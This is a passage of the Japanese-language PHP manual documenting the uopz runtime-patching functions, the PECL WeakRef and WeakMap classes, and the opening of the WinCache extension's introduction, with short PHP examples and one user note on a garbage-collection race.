パラメータ

class

The name of the class containing the function

function

The name of an existing function

rename

The new name for the function

返り値

例

例1 uopz_rename() example

<?php
uopz_rename("strlen", "original_strlen");

echo original_strlen("Hello World");
?>

上の例の出力は以下となります。

11

例2 uopz_rename() class example

<?php
class My {
    public function strlen($arg) {
        return strlen($arg);
    }
}

uopz_rename(My::class, "strlen", "original_strlen");

echo My::original_strlen("Hello World");
?>

上の例の出力は以下となります。

11

User Contributed Notes

There are no user contributed notes for this page.


Restore a previously backed up function

  • ≪ uopz_rename
  • uopz_set_hook ≫
  • PHP Manual
  • Uopz 関数
  • Restore a previously backed up function

uopz_restore

(PECL uopz 1 >= 1.0.3, PECL uopz 2)

uopz_restore — Restore a previously backed up function

警告

この関数は、PECL uopz 5.0.0 で 削除 されました。

説明

uopz_restore ( string $function ) : void
uopz_restore ( string $class , string $function ) : void

Restore a previously backed up function

パラメータ

class

The name of the class containing the function to restore

function

The name of the function

返り値

例

例1 uopz_restore() example

<?php
uopz_backup("fgets");
uopz_function("fgets", function(){
    return true;
});
var_dump(fgets());
uopz_restore('fgets');
fgets();
?>

上の例の出力は、 たとえば以下のようになります。

Warning: fgets() expects at least 1 parameter, 0 given in /path/to/script.php on line 8

User Contributed Notes

There are no user contributed notes for this page.


Sets hook to execute when entering a function or method

  • ≪ uopz_restore
  • uopz_set_mock ≫
  • PHP Manual
  • Uopz 関数
  • Sets hook to execute when entering a function or method

uopz_set_hook

(PECL uopz 5, PECL uopz 6)

uopz_set_hook — Sets hook to execute when entering a function or method

説明

uopz_set_hook ( string $function , Closure $hook ) : bool
uopz_set_hook ( string $class , string $function , Closure $hook ) : bool

Sets a hook to execute when entering a function or method.

パラメータ

class

The name of the class.

function

The name of the function or method.

hook

A closure to execute when entering the function or method.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Basic uopz_set_hook() Usage

<?php
function foo() {
    echo 'foo';
}
uopz_set_hook('foo', function () {echo 'bar';});
foo();
?>

上の例の出力は以下となります。

barfoo

参考

  • uopz_get_hook() - Gets previously set hook on function or method
  • uopz_unset_hook() - Removes previously set hook on function or method

User Contributed Notes

There are no user contributed notes for this page.


Use mock instead of class for new objects

  • ≪ uopz_set_hook
  • uopz_set_property ≫
  • PHP Manual
  • Uopz 関数
  • Use mock instead of class for new objects

uopz_set_mock

(PECL uopz 5, PECL uopz 6)

uopz_set_mock — Use mock instead of class for new objects

説明

uopz_set_mock ( string $class , mixed $mock ) : void

If mock is a string containing the name of a class then it will be instantiated instead of class. mock can also be an object.

注意:

Only dynamic access to properties and methods will use the mock object. Static access still uses the original class. See example below.

パラメータ

class

The name of the class to be mocked.

mock

The mock to use in the form of a string containing the name of the class to use or an object. If a string is passed, it has to be the fully qualified class name. It is recommended to use the ::class magic constant in this case.

変更履歴

バージョン | 説明
uopz 6.0.0 | Mocking static members is no longer supported by this function. uopz_redefine() and uopz_set_return(), or Componere can be used instead.

例

例1 uopz_set_mock() example

<?php
class A {
    public function who() {
        echo "A";
    }
}

class mockA {
    public function who() {
        echo "mockA";
    }
}

uopz_set_mock(A::class, mockA::class);
(new A)->who();
?>

上の例の出力は以下となります。

mockA

例2 uopz_set_mock() example

<?php
class A {
    public function who() {
        echo "A";
    }
}

uopz_set_mock(A::class, new class {
                            public function who() {
                                echo "mockA";
                            }
                        });
(new A)->who();
?>

上の例の出力は以下となります。

mockA

例3 uopz_set_mock() and static members

As of uopz 6.0.0 mocking static members is no longer supported.

<?php
class A {
    const CON = 'A';
    public static function who() {
        echo "A";
    }
}

uopz_set_mock(A::class, new class {
                            const CON = 'mockA';
                            public static function who() {
                                echo "mockA";
                            }
                        });
echo A::CON, PHP_EOL;
A::who();
?>

上の例の出力は以下となります。

A
A

Output of the above example in uopz 5:

mockA
mockA

参考

  • uopz_get_mock() - Get the current mock for a class
  • uopz_unset_mock() - Unset previously set mock

User Contributed Notes

There are no user contributed notes for this page.


Sets value of existing class or instance property

  • ≪ uopz_set_mock
  • uopz_set_return ≫
  • PHP Manual
  • Uopz 関数
  • Sets value of existing class or instance property

uopz_set_property

(PECL uopz 5, PECL uopz 6)

uopz_set_property — Sets value of existing class or instance property

説明

uopz_set_property ( string $class , string $property , mixed $value ) : void
uopz_set_property ( object $instance , string $property , mixed $value ) : void

Sets the value of an existing static class property, if class is given, or the value of an instance property (regardless whether the instance property already exists), if instance is given.

パラメータ

class

The name of the class.

instance

The object instance.

property

The name of the property.

value

The value to assign to the property.

返り値

値を返しません。

例

例1 Basic uopz_set_property() Usage

<?php
class Foo {
   private static $staticBar;
   private $bar;
   public static function testStaticBar() {
      return self::$staticBar;
   }
   public function testBar() {
      return $this->bar;
   }
}
$foo = new Foo;
uopz_set_property('Foo', 'staticBar', 10);
uopz_set_property($foo, 'bar', 100);
var_dump(Foo::testStaticBar());
var_dump($foo->testBar());
?>

上の例の出力は以下となります。

int(10)

参考

  • uopz_get_property() - Gets value of class or instance property

User Contributed Notes

There are no user contributed notes for this page.


Provide a return value for an existing function

  • ≪ uopz_set_property
  • uopz_set_static ≫
  • PHP Manual
  • Uopz 関数
  • Provide a return value for an existing function

uopz_set_return

(PECL uopz 5, PECL uopz 6)

uopz_set_return — Provide a return value for an existing function

説明

uopz_set_return ( string $function , mixed $value , bool $execute = false ) : bool
uopz_set_return ( string $class , string $function , mixed $value , bool $execute = false ) : bool

Sets the return value of the function to value. If value is a Closure and execute is set, the Closure will be executed in place of the original function. It is possible to call the original function from the Closure.

注意:

This function replaces uopz_rename().

パラメータ

class

The name of the class containing the function

function

The name of an existing function

value

The value the function should return. If a Closure is provided and the execute flag is set, the Closure will be executed in place of the original function.

execute

If true, and a Closure was provided as the value, the Closure will be executed in place of the original function.

返り値

True if succeeded, false otherwise.

例

例1 uopz_set_return() example

<?php
uopz_set_return("strlen", 42);
echo strlen("Banana");
?>

上の例の出力は以下となります。

42

例2 uopz_set_return() example

<?php
uopz_set_return("strlen", function($str) { return strlen($str) * 2; }, true );
echo strlen("Banana");
?>

上の例の出力は以下となります。

12

例3 uopz_set_return() class example

<?php
class My {
    public static function strlen($arg) {
        return strlen($arg);
    }
}
uopz_set_return(My::class, "strlen", function($str) { return strlen($str) * 2; }, true );
echo My::strlen("Banana");
?>

上の例の出力は以下となります。

12

User Contributed Notes

There are no user contributed notes for this page.


Sets the static variables in function or method scope

  • ≪ uopz_set_return
  • uopz_undefine ≫
  • PHP Manual
  • Uopz 関数
  • Sets the static variables in function or method scope

uopz_set_static

(PECL uopz 5, PECL uopz 6)

uopz_set_static — Sets the static variables in function or method scope

説明

uopz_set_static ( string $function , array $static ) : void
uopz_set_static ( string $class , string $function , array $static ) : void

Sets the static variables in function or method scope.

パラメータ

class

The name of the class.

function

The name of the function or method.

static

The associative array of variable names mapped to their values.

返り値

値を返しません。

例

例1 Basic uopz_set_static() Usage

<?php
function foo() {
    static $bar = 'baz';
    var_dump($bar);
}
uopz_set_static('foo', ['bar' => 'qux']);
foo();
?>

上の例の出力は以下となります。

string(3) "qux"

参考

  • uopz_get_static() - Gets the static variables from function or method scope

User Contributed Notes

There are no user contributed notes for this page.


定数を未定義化

  • ≪ uopz_set_static
  • uopz_unset_hook ≫
  • PHP Manual
  • Uopz 関数
  • 定数を未定義化

uopz_undefine

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6)

uopz_undefine — 定数を未定義化

説明

uopz_undefine ( string $constant ) : bool
uopz_undefine ( string $class , string $constant ) : bool

実行時に定数を除去します。

パラメータ

class

constant を含むクラスの名前

constant

既存の定数名

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 uopz_undefine() の例

<?php
define("MY", true);

uopz_undefine("MY");

var_dump(defined("MY"));
?>

上の例の出力は以下となります。

bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Removes previously set hook on function or method

  • ≪ uopz_undefine
  • uopz_unset_mock ≫
  • PHP Manual
  • Uopz 関数
  • Removes previously set hook on function or method

uopz_unset_hook

(PECL uopz 5, PECL uopz 6)

uopz_unset_hook — Removes previously set hook on function or method

説明

uopz_unset_hook ( string $function ) : bool
uopz_unset_hook ( string $class , string $function ) : bool

Removes the previously set hook on a function or method.

パラメータ

class

The name of the class.

function

The name of the function or method.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Basic uopz_unset_hook() Usage

<?php
function foo() {
    echo 'foo';
}
uopz_set_hook('foo', function () {echo 'bar';});
foo();
echo PHP_EOL;
uopz_unset_hook('foo');
foo();
?>

上の例の出力は以下となります。

barfoo
foo

参考

  • uopz_set_hook() - Sets hook to execute when entering a function or method
  • uopz_get_hook() - Gets previously set hook on function or method

User Contributed Notes

There are no user contributed notes for this page.


Unset previously set mock

  • ≪ uopz_unset_hook
  • uopz_unset_return ≫
  • PHP Manual
  • Uopz 関数
  • Unset previously set mock

uopz_unset_mock

(PECL uopz 5, PECL uopz 6)

uopz_unset_mock — Unset previously set mock

説明

uopz_unset_mock ( string $class ) : void

Unsets the previously set mock for class.

パラメータ

class

The name of the mocked class.

エラー / 例外

A RuntimeException is thrown, if no mock was previously set for class.

例

例1 uopz_unset_mock() example

<?php
class A {
    public static function who() {
        echo "A";
    }
}

class mockA {
    public static function who() {
        echo "mockA";
    }
}

uopz_set_mock(A::class, mockA::class);
uopz_unset_mock(A::class);
A::who();
?>

上の例の出力は以下となります。

A

参考

  • uopz_set_mock() - Use mock instead of class for new objects
  • uopz_get_mock() - Get the current mock for a class

User Contributed Notes

There are no user contributed notes for this page.


Unsets a previously set return value for a function

  • ≪ uopz_unset_mock
  • Weakref ≫
  • PHP Manual
  • Uopz 関数
  • Unsets a previously set return value for a function

uopz_unset_return

(PECL uopz 5, PECL uopz 6)

uopz_unset_return — Unsets a previously set return value for a function

説明

uopz_unset_return ( string $function ) : bool
uopz_unset_return ( string $class , string $function ) : bool

Unsets the return value of the function previously set by uopz_set_return().

パラメータ

class

The name of the class containing the function

function

The name of the function

返り値

True on success

例

例1 uopz_unset_return() example

<?php
uopz_set_return("strlen", 42);
$len = strlen("Banana");
uopz_unset_return("strlen");
echo $len + strlen("Banana");
?>

上の例の出力は以下となります。

48

User Contributed Notes

There are no user contributed notes for this page.


弱い参照

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • リソース型
  • WeakRef — WeakRef クラス
    • Weakref::acquire — オブジェクトへの強い参照を確保する
    • Weakref::__construct — 弱い参照を新しく作る
    • Weakref::get — 弱い参照が指す先にオブジェクトを返す
    • Weakref::release — 確保した参照を解放する
    • Weakref::valid — 参照先のオブジェクトがまだ存在するかどうかを調べる
  • WeakMap — WeakMap クラス
    • WeakMap::__construct — 新しいマップを作る
    • WeakMap::count — マップ内の生きたエントリを数える
    • WeakMap::current — 反復処理中の現在の値を返す
    • WeakMap::key — 反復処理中の現在のキーを返す
    • WeakMap::next — マップの次の要素に進む
    • WeakMap::offsetExists — オブジェクトがマップ内にあるかどうかを調べる
    • WeakMap::offsetGet — オブジェクトを指定して、それが指す値を返す
    • WeakMap::offsetSet — 新しいキー/値のペアでマップを更新する
    • WeakMap::offsetUnset — エントリをマップから削除する
    • WeakMap::rewind — イテレータをマップの先頭まで巻き戻す
    • WeakMap::valid — イテレータが有効なマップ要素を指しているかどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


はじめに

一時的なオブジェクトへの、非侵入型のゲートウェイを提供します。 通常の (強い) 参照とは異なり、弱い参照はガベージコレクタがオブジェクトを解放するのを邪魔しません。 そのため、オブジェクトが破棄された後でもそのオブジェクトへの弱い参照が残っている可能性があります。 そんな場合は、弱い参照は自動的に無効になります。

例1 Weakref の使用例

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}

unset($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}
?>

上の例の出力は以下となります。

Object still exists!
object(MyClass)#1 (0) {
}
Destroying object!
Object is dead!

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • リソース型

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/weakref.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


WeakRef クラス

(PECL weakref >= 0.1.0)

はじめに

WeakRef クラスはオブジェクトへのゲートウェイを提供します。 ガベージコレクタがオブジェクトを解放するのを邪魔しません。 また、弱い参照を強い参照に切り替える方法も用意します。

注意:

WeakRef クラスは、 WeakReference クラスと混同させる意図はありません。

クラス概要

WeakRef {
/* メソッド */
public Weakref::__construct ( object $object )
public Weakref::acquire ( ) : bool
public Weakref::get ( ) : object
public Weakref::release ( ) : bool
public Weakref::valid ( ) : bool
}

例

例1 WeakRef の使用例

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new WeakRef($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}

unset($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}
?>

上の例の出力は以下となります。

Object still exists!
object(MyClass)#1 (0) {
}
Destroying object!
Object is dead!

目次

  • Weakref::acquire — オブジェクトへの強い参照を確保する
  • Weakref::__construct — 弱い参照を新しく作る
  • Weakref::get — 弱い参照が指す先にオブジェクトを返す
  • Weakref::release — 確保した参照を解放する
  • Weakref::valid — 参照先のオブジェクトがまだ存在するかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトへの強い参照を確保する

  • ≪ WeakRef
  • Weakref::__construct ≫
  • PHP Manual
  • WeakRef
  • オブジェクトへの強い参照を確保する

Weakref::acquire

(PECL weakref >= 0.1.0)

Weakref::acquire — オブジェクトへの強い参照を確保する

説明

public Weakref::acquire ( ) : bool

オブジェクトへの強い参照を確保し、事実上、弱い参照を強い参照に切り替えます。

Weakref は内部的な確保カウンタを管理して、 未処理の強い参照を追跡します。 Weakref::acquire() の呼び出しが成功すると、このカウンタがひとつ加算されます。

パラメータ

この関数にはパラメータはありません。

返り値

その参照が有効で、かつ強い参照に切り替えられた場合に true、 それ以外の場合に false を返します。

例

例1 Weakref::acquire() の例

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

$r1->acquire();

echo "Unsetting o1...\n";
unset($o1);

$o2 = $r1->get();

$r1->release();

echo "Unsetting o2...\n";
unset($o2);
?>

上の例の出力は以下となります。

Unsetting o1...
Unsetting o2...
Destroying object!

例2 ネストした確保と解放の例

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

echo "Acquiring...\n";
$r1->acquire();

echo "  Unsetting...\n";
unset($o1);

echo "  Acquiring...\n";
$r1->acquire();

echo "    Acquiring...\n";
$r1->acquire();

echo "    Releasing...\n";
$r1->release();

echo "  Releasing...\n";
$r1->release();

echo "Releasing...\n";
$r1->release();

?>

上の例の出力は以下となります。

Acquiring...
  Unsetting...
  Acquiring...
    Acquiring...
    Releasing...
  Releasing...
Releasing...
Destroying object!

参考

  • Weakref::release() - 確保した参照を解放する

User Contributed Notes

There are no user contributed notes for this page.


弱い参照を新しく作る

  • ≪ Weakref::acquire
  • Weakref::get ≫
  • PHP Manual
  • WeakRef
  • 弱い参照を新しく作る

Weakref::__construct

(PECL weakref >= 0.1.0)

Weakref::__construct — 弱い参照を新しく作る

説明

public Weakref::__construct ( object $object )

弱い参照を新しく作ります。

パラメータ

object

参照するオブジェクト。

返り値

値を返しません。

例

例1 Weakref::__construct() の例

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}

unset($o1);

if ($r1->valid()) {
    echo "Object still exists!\n";
    var_dump($r1->get());
} else {
    echo "Object is dead!\n";
}
?>

上の例の出力は以下となります。

Object still exists!
object(MyClass)#1 (0) {
}
Destroying object!
Object is dead!

User Contributed Notes

There are no user contributed notes for this page.


弱い参照が指す先にオブジェクトを返す

  • ≪ Weakref::__construct
  • Weakref::release ≫
  • PHP Manual
  • WeakRef
  • 弱い参照が指す先にオブジェクトを返す

Weakref::get

(PECL weakref >= 0.1.0)

Weakref::get — 弱い参照が指す先にオブジェクトを返す

説明

public Weakref::get ( ) : object

弱い参照が指す先にオブジェクトを返します。

パラメータ

この関数にはパラメータはありません。

返り値

参照が有効な場合にその先のオブジェクトを返します。それ以外の場合に null を返します。

参考

  • Weakref::valid() - 参照先のオブジェクトがまだ存在するかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


確保した参照を解放する

  • ≪ Weakref::get
  • Weakref::valid ≫
  • PHP Manual
  • WeakRef
  • 確保した参照を解放する

Weakref::release

(PECL weakref >= 0.1.0)

Weakref::release — 確保した参照を解放する

説明

public Weakref::release ( ) : bool

確保した参照を解放します。強い参照を、元の弱い参照に戻すことになります。

Weakref は内部的な確保カウンタを管理して、 未処理の強い参照を追跡します。 Weakref::release() の呼び出しが成功すると、このカウンタがひとつ減ります。 カウンタがゼロになると、強い参照が弱い参照に戻ります。

パラメータ

この関数にはパラメータはありません。

返り値

先に確保した参照を解放できた場合に true、それ以外の場合に false を返します。

例

例1 Weakref::release() の例

<?php
class MyClass {
    public function __destruct() {
        echo "Destroying object!\n";
    }
}

$o1 = new MyClass;

$r1 = new Weakref($o1);

$r1->acquire();

echo "Unsetting o1...\n";
unset($o1);

$o2 = $r1->get();

$r1->release();

echo "Unsetting o2...\n";
unset($o2);
?>

上の例の出力は以下となります。

Unsetting o1...
Unsetting o2...
Destroying object!

参考

  • Weakref::acquire() - オブジェクトへの強い参照を確保する

User Contributed Notes

There are no user contributed notes for this page.


参照先のオブジェクトがまだ存在するかどうかを調べる

  • ≪ Weakref::release
  • WeakMap ≫
  • PHP Manual
  • WeakRef
  • 参照先のオブジェクトがまだ存在するかどうかを調べる

Weakref::valid

(PECL weakref >= 0.1.0)

Weakref::valid — 参照先のオブジェクトがまだ存在するかどうかを調べる

説明

public Weakref::valid ( ) : bool

参照先のオブジェクトがまだ存在するかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

オブジェクトがまだ存在して Weakref::get() アクセス可能な場合に true、 それ以外の場合に false を返します。

参考

  • Weakref::get() - 弱い参照が指す先にオブジェクトを返す

User Contributed Notes

d dot negrier at nospam dot thecodingmachine dot com 03-May-2018 02:59
Beware that the "valid()" method should not be used to check the availability of an object before calling "get()". Indeed, the garbage collector might be triggered between the call to "valid()" and the call to "get()".

<?php

if ($weakRef->valid()) { // Returns true because the object is not yet garbage collected
    // If you are not lucky, the garbage collector might be triggered here
    $obj = $weakRef->get(); // Returns null
    $obj->doSomeStuff(); // Boom!
}
?>

So instead, you should always call "get()" directly:

<?php
$obj = $weakRef->get();
if ($obj !== null) {
    $obj->doSomeStuff(); // This is 100% accurate
}
?>

Generally speaking, the "valid()" method is tricky because a call to it might return true and the next call might return false (you never know when the garbage collector will be trigerred). However, testing for invalidity works reliably.

<?php
if ($weakRef->valid()) {
    // At this point, you are not sure that the object is still there (garbage collector might have collected it)
}

if (!$weakRef->valid()) {
    // At this point, you are sure the object is gone.
}
?>


WeakMap クラス

(PECL weakref >= 0.2.0)

はじめに

クラス概要

WeakMap implements Countable , ArrayAccess , Iterator {
/* メソッド */
public __construct ( )
public count ( ) : int
public current ( ) : mixed
public key ( ) : object
public next ( ) : void
public offsetExists ( object $object ) : bool
public offsetGet ( object $object ) : mixed
public offsetSet ( object $object , mixed $value ) : void
public offsetUnset ( object $object ) : void
public rewind ( ) : void
public valid ( ) : bool
}

例

例1 Weakmap の使用例

<?php
$wm = new WeakMap();

$o = new StdClass;

class A {
    public function __destruct() {
        echo "Dead!\n";
    }
}

$wm[$o] = new A;

var_dump(count($wm));
echo "Unsetting..\n";
unset($o);
echo "Done\n";
var_dump(count($wm));

上の例の出力は以下となります。

int(1)
Unsetting..
Dead!
Done
int(0)

目次

  • WeakMap::__construct — 新しいマップを作る
  • WeakMap::count — マップ内の生きたエントリを数える
  • WeakMap::current — 反復処理中の現在の値を返す
  • WeakMap::key — 反復処理中の現在のキーを返す
  • WeakMap::next — マップの次の要素に進む
  • WeakMap::offsetExists — オブジェクトがマップ内にあるかどうかを調べる
  • WeakMap::offsetGet — オブジェクトを指定して、それが指す値を返す
  • WeakMap::offsetSet — 新しいキー/値のペアでマップを更新する
  • WeakMap::offsetUnset — エントリをマップから削除する
  • WeakMap::rewind — イテレータをマップの先頭まで巻き戻す
  • WeakMap::valid — イテレータが有効なマップ要素を指しているかどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


新しいマップを作る

  • ≪ WeakMap
  • WeakMap::count ≫
  • PHP Manual
  • WeakMap
  • 新しいマップを作る

WeakMap::__construct

(PECL weakref >= 0.2.0)

WeakMap::__construct — 新しいマップを作る

説明

public WeakMap::__construct ( )

新しいマップを作ります。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


マップ内の生きたエントリを数える

  • ≪ WeakMap::__construct
  • WeakMap::current ≫
  • PHP Manual
  • WeakMap
  • マップ内の生きたエントリを数える

WeakMap::count

(PECL weakref >= 0.2.0)

WeakMap::count — マップ内の生きたエントリを数える

説明

public WeakMap::count ( ) : int

マップ内の生きたエントリを数えます。

パラメータ

この関数にはパラメータはありません。

返り値

マップ内の生きたエントリを返します。

User Contributed Notes

There are no user contributed notes for this page.


反復処理中の現在の値を返す

  • ≪ WeakMap::count
  • WeakMap::key ≫
  • PHP Manual
  • WeakMap
  • 反復処理中の現在の値を返す

WeakMap::current

(PECL weakref >= 0.2.0)

WeakMap::current — 反復処理中の現在の値を返す

説明

public WeakMap::current ( ) : mixed

マップ内の反復処理中に、現在の値を返します。

パラメータ

この関数にはパラメータはありません。

返り値

反復処理中の現在の値を返します。

User Contributed Notes

There are no user contributed notes for this page.


反復処理中の現在のキーを返す

  • ≪ WeakMap::current
  • WeakMap::next ≫
  • PHP Manual
  • WeakMap
  • 反復処理中の現在のキーを返す

WeakMap::key

(PECL weakref >= 0.2.0)

WeakMap::key — 反復処理中の現在のキーを返す

説明

public WeakMap::key ( ) : object

マップ内で、反復処理中の現在の位置にあるキーが保持するオブジェクトを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在処理中のキーのオブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


マップの次の要素に進む

  • ≪ WeakMap::key
  • WeakMap::offsetExists ≫
  • PHP Manual
  • WeakMap
  • マップの次の要素に進む

WeakMap::next

(PECL weakref >= 0.2.0)

WeakMap::next — マップの次の要素に進む

説明

public WeakMap::next ( ) : void

マップの次の要素に進みます。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトがマップ内にあるかどうかを調べる

  • ≪ WeakMap::next
  • WeakMap::offsetGet ≫
  • PHP Manual
  • WeakMap
  • オブジェクトがマップ内にあるかどうかを調べる

WeakMap::offsetExists

(PECL weakref >= 0.2.0)

WeakMap::offsetExists — オブジェクトがマップ内にあるかどうかを調べる

説明

public WeakMap::offsetExists ( object $object ) : bool

渡されたオブジェクトがマップ内で参照されているかどうかを調べます。

パラメータ

object

調べたいオブジェクト。

返り値

オブジェクトがマップ内に含まれる場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトを指定して、それが指す値を返す

  • ≪ WeakMap::offsetExists
  • WeakMap::offsetSet ≫
  • PHP Manual
  • WeakMap
  • オブジェクトを指定して、それが指す値を返す

WeakMap::offsetGet

(PECL weakref >= 0.2.0)

WeakMap::offsetGet — オブジェクトを指定して、それが指す値を返す

説明

public WeakMap::offsetGet ( object $object ) : mixed

オブジェクトを指定して、それが指す値を返します。

パラメータ

object

マップ内のキーとして含まれるオブジェクト。

返り値

引数で渡したオブジェクトに関連づけられた値を返します。 値がない場合は null を返します。

User Contributed Notes

There are no user contributed notes for this page.


新しいキー/値のペアでマップを更新する

  • ≪ WeakMap::offsetGet
  • WeakMap::offsetUnset ≫
  • PHP Manual
  • WeakMap
  • 新しいキー/値のペアでマップを更新する

WeakMap::offsetSet

(PECL weakref >= 0.2.0)

WeakMap::offsetSet — 新しいキー/値のペアでマップを更新する

説明

public WeakMap::offsetSet ( object $object , mixed $value ) : void

新しいキー/値のペアでマップを更新します。そのキーが既にマップに存在する場合は、 古い値を新しい値で置き換えます。

パラメータ

object

キー/値のペアでキーになるオブジェクト。

value

キー/値のペアで値として扱う任意のデータ。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


エントリをマップから削除する

  • ≪ WeakMap::offsetSet
  • WeakMap::rewind ≫
  • PHP Manual
  • WeakMap
  • エントリをマップから削除する

WeakMap::offsetUnset

(PECL weakref >= 0.2.0)

WeakMap::offsetUnset — エントリをマップから削除する

説明

public WeakMap::offsetUnset ( object $object ) : void

エントリをマップから削除します。

パラメータ

object

マップから削除するキーのオブジェクト。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


イテレータをマップの先頭まで巻き戻す

  • ≪ WeakMap::offsetUnset
  • WeakMap::valid ≫
  • PHP Manual
  • WeakMap
  • イテレータをマップの先頭まで巻き戻す

WeakMap::rewind

(PECL weakref >= 0.2.0)

WeakMap::rewind — イテレータをマップの先頭まで巻き戻す

説明

public WeakMap::rewind ( ) : void

イテレータをマップの先頭まで巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


イテレータが有効なマップ要素を指しているかどうかを返す

  • ≪ WeakMap::rewind
  • WinCache ≫
  • PHP Manual
  • WeakMap
  • イテレータが有効なマップ要素を指しているかどうかを返す

WeakMap::valid

(PECL weakref >= 0.2.0)

WeakMap::valid — イテレータが有効なマップ要素を指しているかどうかを返す

説明

public WeakMap::valid ( ) : bool

イテレータが有効なマップ要素を指しているかどうかを返します。

パラメータ

この関数にはパラメータはありません。

返り値

イテレータが有効なマップ要素を指していてそこにアクセスできる場合に true、 そうでない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


PHP 用の Windows キャッシュ

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • WinCache 統計スクリプト
    • WinCache セッションハンドラ
    • WinCache 関数への切り替え
    • リソース型
  • 定義済み定数
  • WinCache 関数
    • wincache_fcache_fileinfo — ファイルキャッシュにキャッシュされたファイルについての情報を取得する
    • wincache_fcache_meminfo — ファイルキャッシュのメモリ使用状況についての情報を取得する
    • wincache_lock — 指定したキーで排他ロックを確保する
    • wincache_ocache_fileinfo — opcode キャッシュにキャッシュされたファイルについての情報を取得する
    • wincache_ocache_meminfo — opcode キャッシュのメモリ使用状況についての情報を取得する
    • wincache_refresh_if_changed — キャッシュされたファイルのキャッシュエントリをリフレッシュする
    • wincache_rplist_fileinfo — ファイルパス解決キャッシュについての情報を取得する
    • wincache_rplist_meminfo — ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
    • wincache_scache_info — セッションキャッシュにキャッシュされたファイルについての情報を取得する
    • wincache_scache_meminfo — セッションキャッシュのメモリ使用状況についての情報を取得する
    • wincache_ucache_add — 変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加する
    • wincache_ucache_cas — 変数を古い値と比較して新しい値を代入する
    • wincache_ucache_clear — ユーザーキャッシュの中身全体を削除する
    • wincache_ucache_dec — キーに関連づけられた値を減少させる
    • wincache_ucache_delete — 変数をユーザーキャッシュから削除する
    • wincache_ucache_exists — 変数がユーザーキャッシュに存在するかどうかを調べる
    • wincache_ucache_get — ユーザーキャッシュに格納された変数を取得する
    • wincache_ucache_inc — キーに関連づけられた値を増加させる
    • wincache_ucache_info — ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
    • wincache_ucache_meminfo — ユーザーキャッシュのメモリ使用状況についての情報を取得する
    • wincache_ucache_set — 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする
    • wincache_unlock — 指定したキーの排他ロックを解放する
  • Windows でのビルド
    • 要件
    • コンパイルおよびビルド
    • ビルドの検証

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Windows Cache Extension for PHP は、PHP のアクセラレータです。 Windows および Windows サーバー上での PHP アプリケーションの動作速度を向上させます。 Windows Cache Extension for PHP を有効にして PHP エンジンに読み込むと、 PHP アプリケーションのコードに一切手を加えずに恩恵を受けることができます。

Windows Cache Extension には 5 種類のキャッシュが含まれています。 それぞれのキャッシュ型の目的と利点を以下にまとめました。

